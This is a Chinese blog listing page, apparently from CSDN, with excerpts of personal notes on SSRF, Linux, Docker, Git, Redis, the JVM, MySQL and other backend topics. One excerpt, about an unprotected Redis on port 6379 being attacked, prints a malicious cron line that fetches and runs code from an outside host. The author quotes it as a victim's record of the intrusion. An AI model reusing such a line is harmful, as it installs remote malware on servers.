
笔记
文章平均质量分 68
个人笔记
RealGUO
越学越菜
展开
-
SSRF服务端请求伪造
SSRF服务端请求伪造背景在做一个需求,需要通过url与库内数据做匹配,然后记录匹配结果。但是部分url是重定向的url,重定向之前的url与库中无法匹配,重定向之后的url可以与库中匹配,所以代码中有一段重定向的代码逻辑httpClient = &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },原创 2022-01-21 23:46:30 · 2733 阅读 · 0 评论 -
java-linux安装
Centos中安装java下载java8wget https://download.oracle.com/otn/java/jdk/8u311-b11/4d5417147a92418ea8b615e228bb6935/jdk-8u311-linux-aarch64.tar.gz创建/usr/local/java目录,并将压缩包解压到其中tar -zxvf jdk-8u311-linux-aarch64.tar.gz -C /usr/local/java编辑环境变量,在/etc/pr原创 2022-01-11 11:45:44 · 433 阅读 · 0 评论 -
Linux常用命令
变量自增a=1a=$((a+1))a=$(($a+1))a=$[a+1]vima=$[$a+1]grephistory$grep程序, 在没有参数的情况下, 输出包含RE字符串的句子$ grep 搜索的文字 文件或目录$ grep -r 搜索的文字 文件或目录 # 以递归的方式查找符合条件的文件$ grep -v 搜搜的文字 文件或目录 # 反向查找,找出不符合条件的文件# 搜索含有文字1或者文字2的文件$原创 2022-01-10 17:01:59 · 597 阅读 · 0 评论 -
ssh原理
SSH验证问题今天重置阿里云服务器,用ssh连服务器,发现连不上,防火墙也打开了,猜测服务器没有开启ssh服务器开启ssh步骤要确保CentOS7安装了 openssh-server,在终端中输入 yum list installed | grep openssh-server如果又没任何输出显示表示没有安装 openssh-server,通过输入 yum install openssh-server找到了 /etc/ssh/ 目录下的sshd服务配置文件 sshd_conf原创 2022-01-10 16:59:23 · 213 阅读 · 0 评论 -
docker再入门
DOCKER(参考)操作镜像拉取镜像$ docker pull [选项] [Docker Registry 地址[:端口号]/]仓库名[:标签]# 比如$ docker pull ubuntu:18.0418.04: Pulling from library/ubuntu92dc2a97ff99: Pull completebe13a9d27eb8: Pull completec8299583700a: Pull completeDigest: sha256:4bc3ae6596938原创 2022-01-07 23:52:42 · 991 阅读 · 0 评论 -
devops
DevOps工作中,或多或少都听别人聊到过DevOps、瀑布开发、敏捷开发、持续集成、持续交付这些概念,今天来仔细探究一下这些单词。参考一遍不错的文章,讲的很深入浅出:DevOps到底是什么意思?起源一个软件从零开始到最终交付,大概包括以下几个阶段:规划、编码、构建、测试、发布、部署和维护最初,程序比较简单,工作量不大,程序员一个人可以完成所有阶段的工作。随着软件产业的日益发展壮大,软件的规模也在逐渐变得庞大。软件的复杂度不断攀升。一个人已经hold不住了,就开始出现了精细化分工。原创 2021-12-30 15:19:11 · 595 阅读 · 0 评论 -
git进阶
Git 进阶本地操作# 创建分支,并切换分支git branch newImagegit checkout newImage# 创建分支,并切换分支git checkout -b newImagemerge# 把bugFix分支merge到maingit checkout maingit merge bugFixrebase# 把bugFix分支里的工作移动到main分支上git checkout bugFixgit rebase main# 此时bugFix在main前原创 2021-12-09 13:12:55 · 202 阅读 · 0 评论 -
redis cluster 重新分片
redis cluster 重新分片redis cluster 重新分片什么是重新分片?实现原理ASK重定向参考:redis cluster 重新分片面试时,可以和面试官聊到redis集群模式中的哈希槽的作用,但是再深点,redis重新分片时,访问被迁移的数据会有问题吗?redis是怎么做的?就答不上来了,故在此总结一下。什么是重新分片?Redis集群的重新分片操作可以将任意数量已经指派给某个节点(源节点)的槽改为指派给另一个节点(目标节点),并且相关槽所属的键值对也会从源节点移动到目标节点。原创 2021-09-18 00:08:36 · 568 阅读 · 0 评论 -
learn-shell
变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的参数$HOME # 用户原创 2021-09-10 10:49:53 · 162 阅读 · 0 评论 -
shell入门
变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的原创 2021-09-10 10:40:04 · 95 阅读 · 0 评论 -
TIME_WAIT和CLOSE_WAIT
查看命令查看TIME_WAIT和CLOSE_WAIT状态的连接数量netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 显示结果:TIME_WAIT 6CLOSE_WAIT 1含义TCP常用的三个状态是:ESTABLISHED 表示正在通信,TIME_WAIT 表示主动关闭,CLOSE_WAIT 表示被动关闭。TCP协议规定,对于已经建立的连接,网络双方要进行四次握手才能成功断开连接,如果缺少了其中某个步原创 2021-09-09 17:58:49 · 158 阅读 · 0 评论 -
Java 操作ElasticSearch
Java 操作ElasticSearch1、连接ElasticSearch服务器@Configurationpublic class ElasticSearchClientConfig { private static final String CLUSTER_NAME = "*******************************"; private static final String APP_KEY = "******************************";原创 2021-07-06 15:33:50 · 834 阅读 · 0 评论 -
DevOps
1、简介CI / CD的采用改变了开发人员和测试人员如何发布软件。最初是瀑布模型,后来是敏捷开发,现在是DevOps,这是现代开发人员构建出色的产品的技术路线。随着DevOps的兴起,出现了持续集成(Continuous Integration)、持续交付(Continuous Delivery) 、持续部署(Continuous Deployment) 的新方法。传统的软件开发和交付方法正在迅速变得过时。从历史上看,在敏捷时代,大多数公司会每月,每季度,每两年甚至每年发布部署原创 2021-07-04 19:54:13 · 161 阅读 · 0 评论 -
MVCC多版本并发控制
MVCC1.概要MVCC(Muti-Version Concurrency Control)作用:在数据库管理系统中,实现对数据库的并发访问原理:维护一个数据的多个版本,使没有读-写冲突概念好处:读-写冲突不加锁,降低开销,提高并发性能2.Innodb实现原理MVCC其实是一个概念。MySQL使用快照读来实现MVCC概念中的一个非阻塞读功能。2.1 快照读和当前读当前读:读取记录的最新版本读取时要保证和其他事务不能并发修改,通过加锁实现select lock in shar原创 2021-06-07 16:57:51 · 171 阅读 · 0 评论 -
脏读、不可重复读、幻读
MySQL实践第一次遇到mysql的deadlock1. 实验准备1.1 常用mysql事务命令set autocommit=0;start transaction;commit;rollback;-- mysql 5.6 查看隔离级别select @@session.tx_isolation;select @@global.tx_isolation;-- mysql 8.0 查看隔离级别select @@session.transaction_isolation;selec原创 2021-06-07 14:51:34 · 219 阅读 · 1 评论 -
Maven 配置文件、实战
【转载】Maven 配置文件推荐阅读Maven 实战小结1、起因写这篇文章起源于同事一个问题,大概就是进入咱们公司之后,会统一发 maven 的 settings.xml 文件,直接覆盖 maven 自带的就可以正常使用。然后他想知道其中为什么既要配 repository、server 还要配 mirror?这些配置属性含义是什么?这几者之间是什么关系?配了多个 repository 之后查找 jar 的先后顺序是什么?结合 mirror 又会怎么查找?虽然之前有把 Maven 这块作过系统的笔记转载 2021-05-23 21:57:22 · 234 阅读 · 0 评论 -
【转载】java序列化,看这篇就够了
【转载】java序列化,看这篇就够了一、序列化的含义、意义及使用场景序列化:将对象写入到IO流中反序列化:从IO流中恢复对象意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。**使用场景:所有可在网络上传输的对象都必须是可序列化的,**比如RMI(remote method invoke,即远程方法调用),传入的参数或返回的对象都是可序列化的,否则会转载 2021-05-22 23:25:36 · 230 阅读 · 0 评论 -
TCP三次握手、四次挥手、状态转换图、time_wait
原创 2021-05-20 13:06:43 · 100 阅读 · 0 评论 -
awk 简单用法
AWK学习基本内容背景:awk是处理文本文件的一个应用程序,几乎所有 Linux 系统都自带这个程序。它依次处理文件的每一行,并读取里面的每一个字段。对于日志、CSV 那样的每行格式相同的文本文件,awk可能是最方便的工具。# 格式$ awk 动作 文件名# 示例$ awk '{print $0}' demo.txt# 含义$0: 表示当前行$1 $2 $3: 分别表示当前行的第1、2、3个字段NF: 变量 表示当前行有多少个字段$NF: 表示最后一个字段指定分隔符#原创 2021-05-04 16:41:43 · 156 阅读 · 0 评论 -
MySQL游标
MySQL 游标游标的特性不敏感:数据库可以选择不复制结果集只读不滚动:游标只能向一方向前进,并且不可以跳过任何一行数据游标的优点游标是针对行操作的,对从数据库中 select 查询得到的结果集的 每一行可以进行分开的独立的相同或者不相同的操作,是一种分离的思想。游标的缺点性能不高只能一行一行操作使用游标会产生死锁,造成内存开销大游标的适用场景存储过程函数触发器事件游标的操作1、游标的定义DECLARE转载 2021-05-04 12:16:41 · 207 阅读 · 0 评论 -
MAC远程连接Windows
MAC远程连接WIN步骤一将windows升级到专业版,家庭版的windows不支持远程连接。升级的方法可以自己到网上查找相关的激活码,或者某宝上购买,大概十几块步骤二将windows升级到专业版之后:打开文件资源管理器右键“此电脑”,选择属性选择左侧的远程桌面,开启远程桌面win键+R → 输入regedit → 进入注册表,找到以下两个分支选项: (注意下面的这两个分支是不相同的)HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\原创 2021-04-27 23:41:11 · 3210 阅读 · 0 评论 -
卸载wordpress
卸载wordpress由于项目需要,需要使用阿里云的个人服务器的80端口,但是之前配置过wordpress(个人博客)占用了这个端口,当然基本已经放弃使用wordpress了。于是这里记录一下卸载过程1、删除数据库# mysql -uroot -p# 密码# show databases;# drop database wordpress;# exit2、删除wordpress目录cd /var/www/html/rm -rf *简单回顾一下:如果/usr是安装时会占用较大硬原创 2021-04-20 16:36:00 · 3722 阅读 · 0 评论 -
docker
Docker安装Docker环境准备1、需要会linux基础2、CentOS 73、使用Xshell链接远程服务器进行操作环境查看# 系统内核是 3.10 以上的[root@iz2ze50r0dljy72rs9ihxwz /]# uname -r3.10.0-514.26.2.el7.x86_64# 系统版本[root@iz2ze50r0dljy72rs9ihxwz /]# cat /etc/os-release NAME="CentOS Linux"VERSION="7原创 2021-04-20 13:17:01 · 167 阅读 · 0 评论 -
跨域 以及 shiro解决
跨域 以及 shiro解决同源策略:协议、域名、端口作用:能帮助阻隔恶意文档,减少可能被攻击的媒介。# 但也导致了跨域的问题的出现:前后端分离# 前端访问后端,不满足同源策略,所以不能访问1、反向代理解决# 配置反向代理来实现跨域# 前端访问代理# 代理访问后端# 代理将结果返回给前端# 从而实现了跨域2、CORS跨域CORS(Cross-Origin Resource Sharing)跨域资源共享,定义了必须在访问跨域资源时,浏览器与服务器应该如何沟通。CORS的基本思想就原创 2021-04-13 01:21:02 · 3961 阅读 · 0 评论 -
JWT
JWTJWT ----- Json Web Token编码、签名(摘要)、加密# 编码1、解码是为了方便以字节的方式表示数据2、编码和解码的整个过程是可逆的,得知编码方式后,整个 jwt 串便是明文了3、base64# 签名1、签名的目的主要是避免消息被篡改2、将消息和签名算法生成的签名发给客户端3、客户端用相同的密钥将消息签名,然后对比两个签名(相同的密钥应该是通过rsa先商量好)4、签名算法共同的特点是整个过程是不可逆的5、使用带有密钥的签名算法,密钥是服务器和签发者共原创 2021-04-12 21:15:49 · 311 阅读 · 0 评论 -
Nginx
Nginx常用命令nginx -t # 查看nginx状态nginx -s reload # 重新载入配置文件nginx -s reopen # 重启 Nginxnginx -s stop # 停止 Nginxnginx正则匹配 参考语法规则:location [=|~|~*|^~|!~|!~*] /uri/ { … }模式含义location = /uri= 表示精确匹配loc原创 2021-04-12 17:53:54 · 129 阅读 · 0 评论 -
http1.0 1.1 2.0
HTTP1.0和1.1区别长连接HTTP 1.0需要使用keep-alive参数来告知服务器端要建立一个长连接,而HTTP1.1默认支持长连接。创建一个TCP连接是需要经过三次握手的,有一定的开销,如果每次通讯都要重新建立连接的话,对性能有影响。因此最好能维持一个长连接,可以用一个长连接来发多个请求。节约带宽HTTP 1.1支持只发送header信息(不带任何body信息),如果服务器认为客户端有权限请求服务器,则返回100,否则返回4开头的这个状态码实际上是对如下场景的一种优化:客户端有原创 2021-04-03 01:24:04 · 472 阅读 · 0 评论 -
SLB负载均衡
SLB : service load balancer1、负载均衡解决方案基于DNS负载均衡基于硬件负载均衡基于软件负载均衡# DNS负载均衡可以实现在地域上的流量均衡# 硬件负载均衡主要用于大型服务器集群中的负载需求# 软件负载均衡大多是基于机器层面的流量均衡# 在实际场景中,这三种是可以组合在一起使用。2、DNS负载均衡原理1、当用户访问域名的时候,会先向DNS服务器去解析域名对应的IP地址2、DNS服务器根据不同地理位置的用户返回不同的IP。3、比如南转载 2021-03-30 23:14:34 · 3709 阅读 · 0 评论 -
Git+SSH
Git1、版本控制SVN 集中式的版本控制系统,版本库集中放在中央服务器,工作的时候需要联网Git是分布式的版本控制系统,没有中央服务器,每个人的电脑就是一个完整的版本库。工作的时候不需要联网2、命令# 查看系统configgit config --system --list# 查看当前用户(global)配置git config --global --list# 编辑配置文件git config --global -egit config --global user.name原创 2021-03-26 13:41:05 · 563 阅读 · 0 评论 -
Spring Boot缓存-原理与实现
Springboot 缓存1、JSR-107Spring从3.1开始定义了org.springframework.cache.Cache和org.springframework.cache.CacheManager接口来统一不同的缓存技术;并支持使用JCache(JSR-107)注解简化我们开发;1 Cache接口为缓存的组件规范定义,包含缓存的各种操作集合;2 Cache接口下Spring提供了各种xxxCache的实现,如RedisCache,EhCacheCache ,Concurrent原创 2021-03-26 01:11:24 · 359 阅读 · 0 评论 -
逃逸分析的好处
逃逸分析转载于:对象和数组并不是都在堆上分配内存的。随着JIT编译期的发展与逃逸分析技术逐渐成熟,栈上分配、标量替换优化技术将会导致一些微妙的变化,所有的对象都分配到堆上也渐渐变得不那么“绝对”了。1、什么是逃逸分析1、逃逸分析(Escape Analysis)是目前Java虚拟机中比较前沿的优化技术。2、是一种可以有效减少Java 程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。3、通过逃逸分析,Java Hotspot编译器能够分析出一个新的对象的引用的使用范围从而决定是否要将转载 2021-03-25 20:49:36 · 434 阅读 · 0 评论 -
redis 入门+掌握
Redis1、为什么要用Nosql大数据----一般的数据库无法分析处理了2006 年, hadoop就已经发布了SpringBoot + SpringCloud一定要逼着自己学习,压力越来越大,适者生存1、单继Mysql的年代1、一个基本的网站访问量不会太大,单个数据库完全足够2、服务器没有太大压力思考:这种网站的瓶颈是什么?1、数据量如果太大,一个机器放不下2、数据的索引,mysql单表超过300万数据,就一定要建立索引。3、数据库的访问量太大了,服务器承载不了只要出现以原创 2021-03-19 14:46:20 · 767 阅读 · 2 评论 -
Redis 6379 被攻击
Redis 6379 被攻击刚开始使用redis,把端口打开了,然后没有设置密码,导致被恶意攻击,这里记录一下。[root@realguo ~]# redis-cli127.0.0.1:6379> keys *1) "backup2"2) "backup1"3) "backup4"4) "backup3"127.0.0.1:6379> get backup1"\n\n\n*/2 * * * * root cd1 -fsSL http://zzhreceive.anondn原创 2021-03-18 10:27:01 · 2236 阅读 · 3 评论 -
验证码验证 + 单点登录简单理解
注册时验证码验证 问题情景:在开发速印后端的时候,有发验证码验证这一环节,当时是把验证码发给前端和用户,然后前端来判断是否匹配。现在又回到了这个问题,正常来说,肯定是后端来验证这个验证码,那要怎么验证呢?cookie + session,用户申请账号时,设置一个cookie,然后用户传来验证码时,通过cookie来判断这个用户对应的验证码是哪个可能描述的不是很清楚,再描述一下问题:如果多个用户同时注册,怎么区分每个用户对应哪个验证码呢?1、验证码的有效期放在redis上面,key就是c原创 2021-03-17 20:15:19 · 879 阅读 · 0 评论 -
RabbitMQ安装 以及 Spring Boot整合
Spring Boot + 整合RabbitMQ1、docker 配置 RabbitMQ运行环境docker pull rabbitmq:management # tag为management版本的rabbitmq# 运行容器docker run -dit --name rabbitmq01 -e RABBITMQ_DEFAULT_USER=admin -e RABBITMQ_DEFAULT_PASS=admin -p 15672:15672 -p 5672:5672 rabbitmq:manag原创 2021-03-17 15:31:12 · 128 阅读 · 0 评论 -
Linux简单入门
目录Linux1、系统目录结构2、目录管理3、基本属性4、文件内容查看5、网络配置目录6、硬链接 软连接7、文件编辑器 vim8、账号管理9、用户组管理10、磁盘管理11、进程管理12、软件安装12.1 rpm12.2 解压安装Linuxlinux一切接文件 读、写、权限1、走进linux系统开机登录windows开启很多程序,叫"服务"(service),linux中叫做 “守护进程”daemon关机linux 没有信息就是成功1、系统目录结构/etc目录存放系统的配原创 2021-03-13 21:14:20 · 877 阅读 · 0 评论 -
四种引用类型 + ThreadLocal理解
四种引用强引用只要引用链不断,就不会被回收User user = new User();**软引用 ** 在缓存中使用SoftReference;内存不足的时候,会回收在内存快要OOM的时候,进行释放否则:尽管调用System.gc(),也不会释放-Xms10m -Xmx10m -XX+PrintGC弱引用 很少使用的对象,使用弱引用,不重要的对象GC到的时候回收,回收WeakReference()虚引用(幽灵) 一般和一个对象进行绑定,当GC回收这个对原创 2021-03-13 12:59:59 · 802 阅读 · 0 评论 -
JMM简单理解
JMM Java Memory Model什么是JMM?Java内存模型干什么的? 官方、博客,对应的视频!作用:缓存一致性协议,用于定义数据读写的规则JMM定义了线程工作内存和主内存之间的抽象关系:线程之间共享变量存储在主内存(Main Memory)中,每个线程都有一个私有的本地内存(Local Memory)每个线程都有一个自己的工作区域,都是从主内存拷贝的。解决共享对象可见性问题: volatile如何学习?JMM是一个抽象的概念,理论volatile..原创 2021-03-09 20:47:53 · 148 阅读 · 0 评论 -
MySQL B+树
B树可以看成平衡二叉树的扩展1、每个节点最多有m个分支,最少分支数(根节点且不是叶子节点),至少有两个分支;最少分指数(非叶子节点非根节点),至少有两个m/2(向上取整)个分支2、有n(k=<n<=m)个分支的节点有n-1个关键字,按递增排列,k=2(根),k=[m/2]非根非叶3、节点内关键字各不相等4、叶子节点处于同一层:可以用空指针表示,查找失败的位置B+树1、在B+树种,具有n个关键字的节点有n个分支。B树,有n个关键字的节点有n+1个分支2、在B+树中,每个节点关原创 2021-03-09 20:47:08 · 791 阅读 · 1 评论 -
JVM探究
JVM探究谈谈你对JVM的理解?java8虚拟机和之前有哪些变化什么是OOM,什么是栈溢出StackOverflowError? 怎么分析JVM的常用调优参数有哪些?百分之九十九都在调堆,部分方法区内存快照如何抓取,怎么分析Dump文件?知道吗?谈谈JVM中,类加载器你的认识 ? rt-jar ext applicationJVM的位置,在系统中的位置[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-crb6wxPP-161513原创 2021-03-08 00:48:57 · 85 阅读 · 0 评论